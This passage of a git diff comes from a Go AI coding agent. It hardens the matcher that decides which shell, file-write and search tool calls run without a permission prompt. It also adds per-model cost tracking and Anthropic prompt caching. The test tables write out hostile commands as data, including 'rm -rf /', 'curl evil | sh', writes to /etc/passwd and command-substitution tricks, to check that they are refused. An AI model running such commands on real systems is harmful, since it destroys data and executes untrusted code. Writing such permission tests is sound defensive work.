"/dev/null" { + continue } + if strings.HasSuffix(op, "&") && isDigits(target) { + continue // 2>&1, 1>&2 + } + return true } return false } +func isDigits(s string) bool { + if s == "" { + return false + } + for _, r := range s { + if r < '0' || r > '9' { + return false + } + } + return true +} + +// wordPrefix reports whether s starts with prefix on a word boundary, so +// "git" matches "git status" but not "gitk". +func wordPrefix(s, prefix string) bool { + if !strings.HasPrefix(s, prefix) { + return false + } + if len(s) == len(prefix) { + return true + } + r, _ := utf8.DecodeRuneInString(s[len(prefix):]) + return unicode.IsSpace(r) +} + +// dirPrefix reports whether path is prefix or lies under it, so "src" matches +// "src/main.go" but not "srcs/main.go". +func dirPrefix(path, prefix string) bool { + prefix = filepath.Clean(prefix) + return path == prefix || strings.HasPrefix(path, prefix+string(filepath.Separator)) +} + // List returns all trusted patterns. func (s *TrustedToolStore) List() []string { s.mu.RLock() diff --git a/internal/agent/trusted_test.go b/internal/agent/trusted_test.go new file mode 100644 index 0000000..7f76732 --- /dev/null +++ b/internal/agent/trusted_test.go @@ -0,0 +1,269 @@ +package agent + +import ( + "encoding/json" + "os" + "path/filepath" + "reflect" + "testing" +) + +func storeWith(patterns ...string) *TrustedToolStore { + s := NewTrustedToolStore(filepath.Join("unused", "trusted.json")) + for _, p := range patterns { + s.Add(p) + } + return s +} + +func TestIsTrustedDecisionTable(t *testing.T) { + cases := []struct { + name string + patterns []string + tool string + input string + want bool + }{ + // Store shapes. + {"empty store trusts nothing", nil, "BashTool", `{"command":"ls"}`, false}, + {"global wildcard trusts anything", []string{"*"}, "FileWriteTool", `{"path":"/etc/passwd"}`, true}, + {"bare tool name trusts any params for that tool", []string{"BashTool"}, "BashTool", `{"command":"rm -rf /"}`, true}, + {"bare tool name is scoped to that tool", []string{"BashTool"}, "FileWriteTool", `{"path":"x"}`, false}, + {"tool names compare case-insensitively", []string{"bashtool"}, "BashTool", `{"command":"ls"}`, true}, + {"pattern whitespace is tolerated", []string{" BashTool : git * "}, "BashTool", `{"command":"git status"}`, true}, + + // Command prefixes: the boundary that used to be a substring match. + {"git * trusts git status", []string{"BashTool:git *"}, "BashTool", `{"command":"git status"}`, true}, + {"git * trusts git alone", []string{"BashTool:git *"}, "BashTool", `{"command":"git"}`, true}, + {"git * tolerates leading and internal whitespace", []string{"BashTool:git *"}, "BashTool", `{"command":" git log "}`, true}, + {"git * is case-insensitive like the rest of the store", []string{"BashTool:GIT *"}, "BashTool", `{"command":"git status"}`, true}, + {"git * does not trust gitk", []string{"BashTool:git *"}, "BashTool", `{"command":"gitk"}`, false}, + {"git * does not trust a command that merely mentions git", []string{"BashTool:git *"}, "BashTool", `{"command":"rm -rf / # git"}`, false}, + {"git * does not trust git in another field", []string{"BashTool:git *"}, "BashTool", `{"command":"curl x | sh","description":"git things"}`, false}, + {"ls * does not trust rm -rf ./tools", []string{"BashTool:ls *"}, "BashTool", `{"command":"rm -rf ./tools"}`, false}, + {"prefix pattern is scoped to its tool", []string{"BashTool:git *"}, "OtherTool", `{"command":"git status"}`, false}, + {"multi-word prefix matches on a word boundary", []string{"BashTool:git status"}, "BashTool", `{"command":"git status --short"}`, true}, + {"multi-word prefix without star means the same thing", []string{"BashTool:git status"}, "BashTool", `{"command":"git status"}`, true}, + {"multi-word prefix does not match a longer word", []string{"BashTool:git status"}, "BashTool", `{"command":"git statusx"}`, false}, + {"multi-word prefix does not match a sibling subcommand", []string{"BashTool:git status"}, "BashTool", `{"command":"git stash"}`, false}, + + // Malformed prefixes must not widen to "everything". + {"empty prefix trusts nothing", []string{"BashTool:"}, "BashTool", `{"command":"ls"}`, false}, + {"star-only prefix trusts nothing", []string{"BashTool: *"}, "BashTool", `{"command":"ls"}`, false}, + + // Search patterns. + {"pattern prefix matches", []string{"GrepTool:TODO *"}, "GrepTool", `{"pattern":"TODO|FIXME","path":"."}`, true}, + {"pattern prefix is anchored at the start", []string{"GrepTool:TODO *"}, "GrepTool", `{"pattern":"x TODO"}`, false}, + {"glob pattern round-trips through the trust prompt shape", []string{"GlobTool:**/*.go *"}, "GlobTool", `{"pattern":"**/*.go","path":"."}`, true}, + + // Paths: directory boundary, and cleaned before matching. + {"dir prefix trusts a file in that dir", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"src/main.go","content":"x"}`, true}, + {"dir prefix trusts nested files", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"src/a/b/c.go"}`, true}, + {"dir prefix trusts the dir itself", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"src"}`, true}, + {"dir prefix survives a ./ spelling", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"./src/x.go"}`, true}, + {"dir prefix with trailing slash still matches", []string{"FileWriteTool:src/ *"}, "FileWriteTool", `{"path":"src/x.go"}`, true}, + {"dir prefix does not trust a sibling dir sharing the prefix", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"srcs/x.go"}`, false}, + {"dir prefix does not trust traversal out of the dir", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"src/../../etc/passwd"}`, false}, + {"dir prefix does not trust the same name deeper in the tree", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"/etc/src/x"}`, false}, + {"absolute dir prefix", []string{"FileWriteTool:/home/me/proj *"}, "FileWriteTool", `{"path":"/home/me/proj/x.go"}`, true}, + {"absolute dir prefix rejects a lookalike", []string{"FileWriteTool:/home/me/proj *"}, "FileWriteTool", `{"path":"/home/me/proj2/x.go"}`, false}, + {"empty path never matches", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":""}`, false}, + + // Prefix never leaks into the raw JSON text. + {"prefix cannot be satisfied by a JSON key", []string{"BashTool:command *"}, "BashTool", `{"command":"rm -rf /"}`, false}, + {"prefix cannot be satisfied by content", []string{"FileWriteTool:src *"}, "FileWriteTool", `{"path":"/etc/x","content":"src"}`, false}, + + // Non-JSON input: treated as a command line, still prefix-only. + {"raw command line matches by word prefix", []string{"BashTool:git *"}, "BashTool", "git status", true}, + {"raw command line does not match by substring", []string{"BashTool:git *"}, "BashTool", "rm -rf / # git", false}, + {"empty input matches nothing but bare patterns", []string{"BashTool:git *"}, "BashTool", "", false}, + {"null json matches nothing but bare patterns", []string{"BashTool:git *"}, "BashTool", "null", false}, + + // Several patterns: any one is enough, order irrelevant. + {"second pattern can match", []string{"BashTool:npm *", "BashTool:git *"}, "BashTool", `{"command":"git status"}`, true}, + {"none of several match", []string{"BashTool:npm *", "BashTool:git *"}, "BashTool", `{"command":"cargo build"}`, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := storeWith(tc.patterns...).IsTrusted(tc.tool, tc.input); got != tc.want { + t.Errorf("patterns=%v tool=%s input=%s: got %v, want %v", tc.patterns, tc.tool, tc.input, got, tc.want) + } + }) + } +} + +func TestTrustedStoreAddDedupesAndListIsACopy(t *testing.T) { + s := storeWith("BashTool:git *", "BashTool:git *", "*") + if got := s.List(); !reflect.DeepEqual(got, []string{"BashTool:git *", "*"}) { + t.Fatalf("List = %v", got) + } + // Duplicate detection is exact; a differently-spelled equivalent is a + // separate entry, which is harmless and what a user would expect to see. + s.Add("bashtool:git *") + if len(s.List()) != 3 { + t.Errorf("case-variant should be a distinct entry: %v", s.List()) + } + got := s.List() + got[0] = "tampered" + if s.List()[0] == "tampered" { + t.Error("List must return a copy") + } +} + +func TestTrustedStoreRemove(t *testing.T) { + s := storeWith("a", "b", "c") + if !s.Remove(1) || !reflect.DeepEqual(s.List(), []string{"a", "c"}) { + t.Errorf("after Remove(1): %v", s.List()) + } + if s.Remove(-1) || s.Remove(2) || s.Remove(99) { + t.Error("out-of-range indices must be rejected") + } + if !reflect.DeepEqual(s.List(), []string{"a", "c"}) { + t.Errorf("rejected removes must not mutate: %v", s.List()) + } +} + +func TestTrustedStoreSaveLoadRoundTrip(t *testing.T) { + path := filepath.Join(t.TempDir(), "nested", "dir", "trusted_tools.json") + s := NewTrustedToolStore(path) + s.Add("BashTool:git *") + s.Add("GrepTool") + if err := s.Save(); err != nil { + t.Fatalf("Save into a missing parent dir: %v", err) + } + + loaded := NewTrustedToolStore(path) + if err := loaded.Load(); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(loaded.List(), []string{"BashTool:git *", "GrepTool"}) { + t.Errorf("loaded = %v", loaded.List()) + } + // The decision survives the round trip, not just the strings. + if !loaded.IsTrusted("BashTool", `{"command":"git push"}`) || loaded.IsTrusted("BashTool", `{"command":"rm -rf /"}`) { + t.Error("loaded store decides differently from the saved one") + } +} + +func TestTrustedStoreLoadEdgeCases(t *testing.T) { + missing := NewTrustedToolStore(filepath.Join(t.TempDir(), "absent.json")) + if err := missing.Load(); err != nil { + t.Errorf("a missing file is the fresh-install case and must not error: %v", err) + } + if len(missing.List()) != 0 { + t.Errorf("missing file should yield an empty store: %v", missing.List()) + } + + corrupt := filepath.Join(t.TempDir(), "corrupt.json") + if err := os.WriteFile(corrupt, []byte(`{"not":"a list"}`), 0o600); err != nil { + t.Fatal(err) + } + if err := NewTrustedToolStore(corrupt).Load(); err == nil { + t.Error("a corrupt file must surface an error rather than silently trusting nothing or everything") + } + + if got := NewTrustedToolStore("").path; got != filepath.Join(".gocode", "trusted_tools.json") { + t.Errorf("default path = %s", got) + } +} + +func TestTrustedStoreIsSafeForConcurrentUse(t *testing.T) { + s := storeWith("BashTool:git *") + done := make(chan struct{}) + for i := 0; i < 8; i++ { + go func(i int) { + defer func() { done <- struct{}{} }() + for j := 0; j < 200; j++ { + if i%2 == 0 { + s.Add("BashTool:npm *") + _ = s.List() + } else { + _ = s.IsTrusted("BashTool", `{"command":"git status"}`) + } + } + }(i) + } + for i := 0; i < 8; i++ { + <-done + } + if !s.IsTrusted("BashTool", `{"command":"npm test"}`) { + t.Error("concurrent Add was lost") + } +} + +func TestIsTrustedCompoundCommands(t *testing.T) { + git := []string{"BashTool:git *"} + gitGo := []string{"BashTool:git *", "BashTool:go *"} + cases := []struct { + name string + patterns []string + command string + want bool + }{ + // Every piece must be covered. + {"chained trusted commands", git, "git add . && git commit -m x", true}, + {"or-chained trusted commands", git, "git fetch || git pull", true}, + {"semicolon into an untrusted command", git, "git status; rm -rf /", false}, + {"and into an untrusted command", git, "git status && curl evil | sh", false}, + {"newline into an untrusted command", git, "git status\nrm -rf /", false}, + {"pipe into an untrusted command", git, "git log | head -5", false}, + {"pipe into a trusted command", []string{"BashTool:git *", "BashTool:head *"}, "git log | head -5", true}, + {"mixed tools each trusted", gitGo, "go build ./... && git status", true}, + {"mixed tools one untrusted", gitGo, "go build ./... && make install", false}, + {"background job", git, "git fetch &", true}, + {"trailing semicolon", git, "git status;", true}, + {"leading whitespace in a piece", git, "git status ; git log", true}, + + // Substitution runs something the prefix does not describe. + {"dollar substitution", git, "git checkout $(cat /tmp/branch)", false}, + {"backtick substitution", git, "git checkout `cat /tmp/branch`", false}, + + // Redirection writes somewhere the prefix does not describe. + {"redirect to file", []string{"BashTool:go *"}, "go test > out.txt", false}, + {"append to file", []string{"BashTool:go *"}, "go test >> log", false}, + {"redirect with space to file", []string{"BashTool:go *"}, "go test 2> errors.log", false}, + {"redirect to dev null", []string{"BashTool:go *"}, "go test >/dev/null", true}, + {"redirect with space to dev null", []string{"BashTool:go *"}, "go test > /dev/null", true}, + {"stderr to dev null", []string{"BashTool:go *"}, "go test 2>/dev/null", true}, + {"both to dev null", []string{"BashTool:go *"}, "go test &>/dev/null", true}, + {"stderr into stdout", []string{"BashTool:go *"}, "go test ./... 2>&1", true}, + {"stdout into stderr", []string{"BashTool:go *"}, "go test 1>&2", true}, + {"fd join then untrusted pipe", []string{"BashTool:go *"}, "go test 2>&1 | tee out.log", false}, + {"fd join then trusted pipe", []string{"BashTool:go *", "BashTool:grep *"}, "go test 2>&1 | grep FAIL", true}, + + // Raw (non-JSON) input follows the same rules. + {"raw compound untrusted", git, "", false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + input := tc.command + if tc.name != "raw compound untrusted" { + b, _ := json.Marshal(map[string]string{"command": tc.command}) + input = string(b) + } else { + input = "git status; rm -rf /" + } + if got := storeWith(tc.patterns...).IsTrusted("BashTool", input); got != tc.want { + t.Errorf("patterns=%v command=%q: got %v, want %v", tc.patterns, tc.command, got, tc.want) + } + }) + } +} + +func TestSplitShellCommands(t *testing.T) { + cases := map[string][]string{ + "a; b": {"a", " b"}, + "a && b || c": {"a ", " b ", " c"}, + "a | b": {"a ", " b"}, + "a &": {"a ", ""}, + "a 2>&1": {"a 2>&1"}, + "a &>/dev/null": {"a &>/dev/null"}, + "a\nb": {"a", "b"}, + "a && b 2>&1 | c": {"a ", " b 2>&1 ", " c"}, + } + for in, want := range cases { + if got := splitShellCommands(in); !reflect.DeepEqual(got, want) { + t.Errorf("split(%q) = %q, want %q", in, got, want) + } + } +} diff --git a/internal/agent/usage.go b/internal/agent/usage.go index 5578891..0c2595b 100644 --- a/internal/agent/usage.go +++ b/internal/agent/usage.go @@ -2,26 +2,72 @@ package agent import ( "fmt" + "strings" + "github.com/AlleyBo55/gocode/internal/apiclient" "github.com/AlleyBo55/gocode/internal/apitypes" ) -// UsageTracker accumulates token usage across turns. +// UsageTracker accumulates token usage across turns, in total and per model. +// +// The aggregate fields keep their original meaning, so /status and the TUI +// status line read them unchanged. PerModel is the ledger behind /cost: the +// same counters split by the model that actually served each turn, which +// under a fallback chain is not always the model the user asked for. type UsageTracker struct { InputTokens int CacheCreationInputTokens int CacheReadInputTokens int OutputTokens int Turns int + + // PerModel is keyed by served model id. Nil until the first turn. + PerModel map[string]*ModelUsage + order []string // first-seen order, so Render is stable across calls +} + +// ModelUsage is one model's share of the session. +type ModelUsage struct { + Model string + Usage apitypes.Usage + Turns int } -// Add accumulates usage from a single API response. +// unknownModel labels turns recorded through Add, which carries no model. +const unknownModel = "(unknown model)" + +// Add accumulates usage from a single API response with no model attribution. +// Prefer AddForModel; this remains for callers that only have the totals. func (u *UsageTracker) Add(usage apitypes.Usage) { + u.AddForModel("", usage) +} + +// AddForModel accumulates usage from one turn served by model. +func (u *UsageTracker) AddForModel(model string, usage apitypes.Usage) { u.InputTokens += usage.InputTokens u.CacheCreationInputTokens += usage.CacheCreationInputTokens u.CacheReadInputTokens += usage.CacheReadInputTokens u.OutputTokens += usage.OutputTokens u.Turns++ + + model = strings.TrimSpace(model) + if model == "" { + model = unknownModel + } + if u.PerModel == nil { + u.PerModel = make(map[string]*ModelUsage) + } + m, ok := u.PerModel[model] + if !ok { + m = &ModelUsage{Model: model} + u.PerModel[model] = m + u.order = append(u.order, model) + } + m.Usage.InputTokens += usage.InputTokens + m.Usage.CacheCreationInputTokens += usage.CacheCreationInputTokens + m.Usage.CacheReadInputTokens += usage.CacheReadInputTokens + m.Usage.OutputTokens += usage.OutputTokens + m.Turns++ } // TotalTokens returns the sum of input and output tokens. @@ -29,16 +75,75 @@ func (u *UsageTracker) TotalTokens() int { return u.InputTokens + u.OutputTokens } -// Render returns a human-readable summary. +// Models returns the per-model ledger in first-seen order. +func (u UsageTracker) Models() []*ModelUsage { + out := make([]*ModelUsage, 0, len(u.order)) + for _, name := range u.order { + out = append(out, u.PerModel[name]) + } + return out +} + +// Cost estimates the session's spend in USD from each model's list price. +// unpriced counts models with no price data; they contribute nothing to usd, +// so a non-zero count means the figure is a floor, not a total. +func (u UsageTracker) Cost() (usd float64, unpriced int) { + for _, m := range u.Models() { + price, ok := apiclient.PriceForModel(m.Model) + if !ok { + unpriced++ + continue + } + usd += price.Cost(m.Usage) + } + return usd, unpriced +} + +// Render returns a human-readable summary: one line of totals, then one line +// per model with its share of the estimated cost. func (u UsageTracker) Render() string { - // Rough pricing per 1M tokens (blended average across providers) - inputCostPer1M := 3.0 // $3 per 1M input tokens - outputCostPer1M := 15.0 // $15 per 1M output tokens + total, unpriced := u.Cost() - inputCost := float64(u.InputTokens) / 1_000_000 * inputCostPer1M - outputCost := float64(u.OutputTokens) / 1_000_000 * outputCostPer1M - totalCost := inputCost + outputCost + var b strings.Builder + fmt.Fprintf(&b, "Tokens: %d in / %d out (%d total, %d turns) — est. $%.4f", + u.InputTokens, u.OutputTokens, u.TotalTokens(), u.Turns, total) + switch unpriced { + case 0: + case 1: + b.WriteString(" (1 model unpriced)") + default: + fmt.Fprintf(&b, " (%d models unpriced)", unpriced) + } + + models := u.Models() + if len(models) == 0 { + return b.String() + } + + nameWidth := 0 + for _, m := range models { + nameWidth = max(nameWidth, len(m.Model)) + } + for _, m := range models { + fmt.Fprintf(&b, "\n %-*s %8d in / %7d out %3d turn%s ", + nameWidth, m.Model, m.Usage.InputTokens, m.Usage.OutputTokens, m.Turns, plural(m.Turns)) + price, ok := apiclient.PriceForModel(m.Model) + if !ok { + b.WriteString(" n/a (no price data)") + continue + } + cost := price.Cost(m.Usage) + fmt.Fprintf(&b, "$%.4f", cost) + if total > 0 { + fmt.Fprintf(&b, " %3.0f%%", cost/total*100) + } + } + return b.String() +} - return fmt.Sprintf("Tokens: %d in / %d out (%d total, %d turns) — est. $%.4f", - u.InputTokens, u.OutputTokens, u.TotalTokens(), u.Turns, totalCost) +func plural(n int) string { + if n == 1 { + return " " + } + return "s" } diff --git a/internal/agent/usage_test.go b/internal/agent/usage_test.go new file mode 100644 index 0000000..fd5201d --- /dev/null +++ b/internal/agent/usage_test.go @@ -0,0 +1,153 @@ +package agent + +import ( + "math" + "strings" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +func TestUsageTrackerAggregatesAndSplitsPerModel(t *testing.T) { + var u UsageTracker + u.AddForModel("claude-sonnet-4-6", apitypes.Usage{InputTokens: 100, OutputTokens: 10, CacheReadInputTokens: 50}) + u.AddForModel("gpt-4o-mini", apitypes.Usage{InputTokens: 20, OutputTokens: 5}) + u.AddForModel("claude-sonnet-4-6", apitypes.Usage{InputTokens: 200, OutputTokens: 20}) + + // The aggregate is what /status and the TUI status line already read. + if u.InputTokens != 320 || u.OutputTokens != 35 || u.CacheReadInputTokens != 50 || u.Turns != 3 || u.TotalTokens() != 355 { + t.Errorf("aggregate = %+v", u) + } + + models := u.Models() + if len(models) != 2 || models[0].Model != "claude-sonnet-4-6" || models[1].Model != "gpt-4o-mini" { + t.Fatalf("models in first-seen order = %v", names(models)) + } + if s := models[0]; s.Usage.InputTokens != 300 || s.Usage.OutputTokens != 30 || s.Usage.CacheReadInputTokens != 50 || s.Turns != 2 { + t.Errorf("sonnet = %+v", *s) + } + if g := models[1]; g.Usage.InputTokens != 20 || g.Turns != 1 { + t.Errorf("mini = %+v", *g) + } + + // Per-model rows always sum to the aggregate. + var in, out, turns int + for _, m := range models { + in += m.Usage.InputTokens + out += m.Usage.OutputTokens + turns += m.Turns + } + if in != u.InputTokens || out != u.OutputTokens || turns != u.Turns { + t.Errorf("ledger (%d/%d/%d) does not sum to aggregate (%d/%d/%d)", in, out, turns, u.InputTokens, u.OutputTokens, u.Turns) + } +} + +func TestUsageTrackerAddWithoutModelIsStillCounted(t *testing.T) { + var u UsageTracker + u.Add(apitypes.Usage{InputTokens: 7, OutputTokens: 3}) + u.AddForModel(" ", apitypes.Usage{InputTokens: 1}) + if u.Turns != 2 || u.InputTokens != 8 { + t.Errorf("aggregate = %+v", u) + } + models := u.Models() + if len(models) != 1 || models[0].Model != unknownModel || models[0].Turns != 2 { + t.Errorf("unattributed turns should share one row: %v", names(models)) + } + if _, unpriced := u.Cost(); unpriced != 1 { + t.Errorf("the unknown row must be reported as unpriced, got %d", unpriced) + } +} + +func TestUsageTrackerCostUsesRealPricesPerModel(t *testing.T) { + var u UsageTracker + // 1M in + 1M out on Sonnet ($3/$15) = $18; on gpt-4o-mini ($0.15/$0.60) = $0.75. + u.AddForModel("claude-sonnet-4-6", apitypes.Usage{InputTokens: 1_000_000, OutputTokens: 1_000_000}) + u.AddForModel("gpt-4o-mini", apitypes.Usage{InputTokens: 1_000_000, OutputTokens: 1_000_000}) + usd, unpriced := u.Cost() + if unpriced != 0 || math.Abs(usd-18.75) > 1e-9 { + t.Errorf("cost = %v (%d unpriced), want 18.75", usd, unpriced) + } + + // Unpriced models are excluded and counted, never silently charged zero. + u.AddForModel("my-finetune", apitypes.Usage{InputTokens: 1_000_000}) + usd, unpriced = u.Cost() + if unpriced != 1 || math.Abs(usd-18.75) > 1e-9 { + t.Errorf("with unpriced model: cost = %v (%d unpriced)", usd, unpriced) + } + + // Local models are known and free, not unpriced. + u.AddForModel("llama3.3:70b", apitypes.Usage{InputTokens: 1_000_000}) + if _, unpriced = u.Cost(); unpriced != 1 { + t.Errorf("local model should not count as unpriced, got %d", unpriced) + } +} + +func TestUsageTrackerRenderShape(t *testing.T) { + var u UsageTracker + if got := u.Render(); got != "Tokens: 0 in / 0 out (0 total, 0 turns) — est. $0.0000" { + t.Errorf("empty render = %q", got) + } + + u.AddForModel("claude-sonnet-4-6", apitypes.Usage{InputTokens: 1_000_000, OutputTokens: 1_000_000}) + u.AddForModel("gpt-4o-mini", apitypes.Usage{InputTokens: 1_000_000, OutputTokens: 1_000_000}) + u.AddForModel("my-finetune", apitypes.Usage{InputTokens: 10}) + got := u.Render() + lines := strings.Split(got, "\n") + if len(lines) != 4 { + t.Fatalf("want 1 total line + 3 model lines, got %d:\n%s", len(lines), got) + } + // The first line keeps the shape the REPL and TUI have always printed. + if !strings.HasPrefix(lines[0], "Tokens: 2000010 in / 2000000 out (4000010 total, 3 turns) — est. $18.7500") { + t.Errorf("total line = %q", lines[0]) + } + if !strings.Contains(lines[0], "(1 model unpriced)") { + t.Errorf("total line should flag the unpriced model: %q", lines[0]) + } + // Sonnet is $18 of $18.75 = 96%. + if !strings.Contains(lines[1], "claude-sonnet-4-6") || !strings.Contains(lines[1], "$18.0000") || !strings.Contains(lines[1], "96%") { + t.Errorf("sonnet line = %q", lines[1]) + } + if !strings.Contains(lines[2], "gpt-4o-mini") || !strings.Contains(lines[2], "$0.7500") || !strings.Contains(lines[2], "4%") { + t.Errorf("mini line = %q", lines[2]) + } + if !strings.Contains(lines[3], "my-finetune") || !strings.Contains(lines[3], "no price data") || strings.Contains(lines[3], "%") { + t.Errorf("unpriced line must say so and carry no share: %q", lines[3]) + } + for _, l := range lines[1:] { + if !strings.HasPrefix(l, " ") { + t.Errorf("model lines are indented under the total: %q", l) + } + } +} + +func TestUsageTrackerRenderSingleFreeModelHasNoShareColumn(t *testing.T) { + var u UsageTracker + u.AddForModel("llama3.3:70b", apitypes.Usage{InputTokens: 10, OutputTokens: 5}) + got := u.Render() + if !strings.Contains(got, "est. $0.0000") || strings.Contains(got, "unpriced") { + t.Errorf("free local model: %q", got) + } + // With zero total there is no meaningful share, so none is printed. + if strings.Contains(got, "%") { + t.Errorf("share printed against a zero total: %q", got) + } +} + +func TestUsageTrackerCopyIsReadable(t *testing.T) { + // GetUsage returns the tracker by value; the copy must still see the + // ledger, since /cost is answered from that copy. + var u UsageTracker + u.AddForModel("gpt-4o", apitypes.Usage{InputTokens: 1}) + cp := u + if len(cp.Models()) != 1 || cp.Models()[0].Model != "gpt-4o" { + t.Errorf("copy lost the ledger: %v", names(cp.Models())) + } +} + +func names(ms []*ModelUsage) []string { + out := make([]string, len(ms)) + for i, m := range ms { + out[i] = m.Model + } + return out +} diff --git a/internal/apiclient/aliases.go b/internal/apiclient/aliases.go index 2580853..b50fecf 100644 --- a/internal/apiclient/aliases.go +++ b/internal/apiclient/aliases.go @@ -182,9 +182,13 @@ func DetectProviderKind(model string) ProviderKind { if strings.HasPrefix(resolved, "claude") { return ProviderAnthropic } + // Codex models share OpenAI's wire format but resolve credentials from the + // Codex CLI's cache as well as OPENAI_API_KEY, and honour CODEX_BASE_URL. + if strings.HasPrefix(resolved, "codex") { + return ProviderCodex + } if strings.HasPrefix(resolved, "gpt") || strings.HasPrefix(resolved, "o1") || - strings.HasPrefix(resolved, "o3") || strings.HasPrefix(resolved, "o4") || - strings.HasPrefix(resolved, "codex") || strings.HasPrefix(resolved, "gpt-5") { + strings.HasPrefix(resolved, "o3") || strings.HasPrefix(resolved, "o4") { return ProviderOpenAi } if strings.HasPrefix(resolved, "gemini") { diff --git a/internal/apiclient/anthropic_cache.go b/internal/apiclient/anthropic_cache.go new file mode 100644 index 0000000..83a9e76 --- /dev/null +++ b/internal/apiclient/anthropic_cache.go @@ -0,0 +1,105 @@ +package apiclient + +import ( + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// Prompt caching on Anthropic. +// +// Every turn of an agent loop resends the same tools, the same system prompt +// and the whole conversation so far. Anthropic bills a cached prefix read at +// a tenth of the normal input price, so on a 30-turn tool loop caching is the +// difference between paying for the prefix once and paying for it thirty +// times. Two breakpoints do it: +// +// 1. On the system prompt. The cache prefix is ordered tools, then system, +// then messages, so a breakpoint here covers the tool schemas as well. +// 2. On the last block of the last message. Everything before the newest +// user turn was already sent last turn and is a cache hit. +// +// Breakpoints are set on copies: MessageRequest.Messages aliases the +// runtime's session, and a marker left on a stored block would still be there +// next turn, adding one breakpoint per turn until the API rejects the request +// at five. Prefixes shorter than the model's minimum (1024 tokens on Sonnet +// and Opus) are simply not cached; the marker is harmless. + +// promptCacheDisableEnv turns caching off for Anthropic-compatible endpoints +// that reject cache_control. +const promptCacheDisableEnv = "GOCODE_DISABLE_PROMPT_CACHE" + +func promptCacheEnabled() bool { + return !envNonEmpty(promptCacheDisableEnv) +} + +// anthropicRequest is the wire shape. It differs from MessageRequest only in +// System, which becomes a list of blocks so one of them can carry the marker. +type anthropicRequest struct { + Model string `json:"model"` + MaxTokens int `json:"max_tokens"` + Messages []apitypes.InputMessage `json:"messages"` + System []apitypes.InputContentBlock `json:"system,omitempty"` + Tools []apitypes.ToolDef `json:"tools,omitempty"` + ToolChoice *apitypes.ToolChoice `json:"tool_choice,omitempty"` + Stream bool `json:"stream,omitempty"` +} + +// anthropicWireRequest converts a MessageRequest for the Anthropic API, +// adding cache breakpoints when enabled. +func anthropicWireRequest(req apitypes.MessageRequest, cache bool) anthropicRequest { + out := anthropicRequest{ + Model: req.Model, + MaxTokens: req.MaxTokens, + Messages: req.Messages, + Tools: req.Tools, + ToolChoice: req.ToolChoice, + Stream: req.Stream, + } + if req.System != "" { + block := apitypes.InputContentBlock{Kind: "text", Text: req.System} + if cache { + block.CacheControl = apitypes.EphemeralCache() + } + out.System = []apitypes.InputContentBlock{block} + } + if cache && len(req.Messages) > 0 { + out.Messages = withTrailingBreakpoint(req.Messages) + } + return out +} + +// withTrailingBreakpoint returns messages with a cache marker on the final +// block of the final message, copying only what it changes. Any markers that +// somehow reached the stored session are stripped so the count stays at one. +func withTrailingBreakpoint(msgs []apitypes.InputMessage) []apitypes.InputMessage { + out := make([]apitypes.InputMessage, len(msgs)) + copy(out, msgs) + for i := range out { + if !hasCacheMarker(out[i].Content) { + continue + } + blocks := make([]apitypes.InputContentBlock, len(out[i].Content)) + copy(blocks, out[i].Content) + for j := range blocks { + blocks[j].CacheControl = nil + } + out[i].Content = blocks + } + last := len(out) - 1 + if len(out[last].Content) == 0 { + return out + } + blocks := make([]apitypes.InputContentBlock, len(out[last].Content)) + copy(blocks, out[last].Content) + blocks[len(blocks)-1].CacheControl = apitypes.EphemeralCache() + out[last].Content = blocks + return out +} + +func hasCacheMarker(blocks []apitypes.InputContentBlock) bool { + for _, b := range blocks { + if b.CacheControl != nil { + return true + } + } + return false +} diff --git a/internal/apiclient/anthropic_cache_test.go b/internal/apiclient/anthropic_cache_test.go new file mode 100644 index 0000000..db89023 --- /dev/null +++ b/internal/apiclient/anthropic_cache_test.go @@ -0,0 +1,223 @@ +package apiclient + +import ( + "context" + "encoding/json" + "net/http" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +func conversation() []apitypes.InputMessage { + return []apitypes.InputMessage{ + apitypes.UserText("read go.mod"), + {Role: "assistant", Content: []apitypes.InputContentBlock{ + {Kind: "tool_use", ID: "t1", Name: "read_file", Input: json.RawMessage(`{"path":"go.mod"}`)}, + }}, + apitypes.UserToolResult("t1", "module example.com", false), + } +} + +func TestAnthropicWireRequestPlacesExactlyTwoBreakpoints(t *testing.T) { + req := apitypes.MessageRequest{ + Model: "claude-sonnet-4-6", MaxTokens: 100, System: "You are terse.", + Tools: []apitypes.ToolDef{{Name: "read_file", InputSchema: json.RawMessage(`{"type":"object"}`)}}, + Messages: conversation(), + } + wire := anthropicWireRequest(req, true) + + // System becomes a block list so the marker has somewhere to live; the + // marker there also covers the tools, which precede system in the cache. + if len(wire.System) != 1 || wire.System[0].Text != "You are terse." || wire.System[0].CacheControl == nil { + t.Fatalf("system = %+v", wire.System) + } + if len(wire.Tools) != 1 || wire.Tools[0].Name != "read_file" { + t.Errorf("tools altered: %+v", wire.Tools) + } + + markers := 0 + for i, m := range wire.Messages { + for j, b := range m.Content { + if b.CacheControl != nil { + markers++ + if i != len(wire.Messages)-1 || j != len(m.Content)-1 { + t.Errorf("marker on message %d block %d; only the final block may carry one", i, j) + } + } + } + } + if markers != 1 { + t.Errorf("message markers = %d, want 1", markers) + } + if got := wire.Messages[2].Content[0]; got.Kind != "tool_result" || got.Content != "module example.com" { + t.Errorf("last block content altered: %+v", got) + } +} + +func TestAnthropicWireRequestNeverMutatesTheSession(t *testing.T) { + // The runtime passes its live session slice. A marker written through to + // it would persist and add a breakpoint every turn until Anthropic + // rejects the request. + session := conversation() + req := apitypes.MessageRequest{Model: "m", System: "s", Messages: session} + for turn := 0; turn < 6; turn++ { + wire := anthropicWireRequest(req, true) + total := 0 + for _, m := range wire.Messages { + for _, b := range m.Content { + if b.CacheControl != nil { + total++ + } + } + } + if total != 1 { + t.Fatalf("turn %d: %d message breakpoints on the wire, want 1", turn, total) + } + for _, m := range session { + for _, b := range m.Content { + if 